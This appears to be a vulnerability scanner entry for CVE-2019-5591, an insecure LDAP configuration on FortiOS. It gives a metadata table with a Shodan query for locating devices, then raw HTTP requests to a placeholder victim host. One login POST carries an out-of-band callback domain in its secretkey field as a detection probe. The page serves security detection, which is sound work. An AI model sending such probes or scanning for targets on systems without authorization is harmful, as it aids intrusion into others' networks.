| Title | FortiOS - Insecure LDAP Configuration Detection |
|---|---|
| Author | ayewo |
| Severity | Medium |
| Impact | Unauthenticated attackers can intercept sensitive information by impersonating LDAP servers within the same subnet. |
| Remediation | Configure LDAP server settings properly and disable default configurations; update to the latest firmware version. |
| CVSS Score | 6.5 |
| EPSS Score | 0.49178 |
| CVE ID | CVE-2019-5591 |
| Shodan Query | cpe:"cpe:2.3:o:fortinet:fortios" |
| Tags | [] |
The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions.
GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /logincheck HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 78
Content-Type: text/plain;charset=UTF-8
Accept-Encoding: gzip
ajax=1&username=lDklXO&secretkey=d5jpi0ple0o1gn797710msrznnwa9tx16.oast.online
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5591.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-5591.pcap
N/AN/A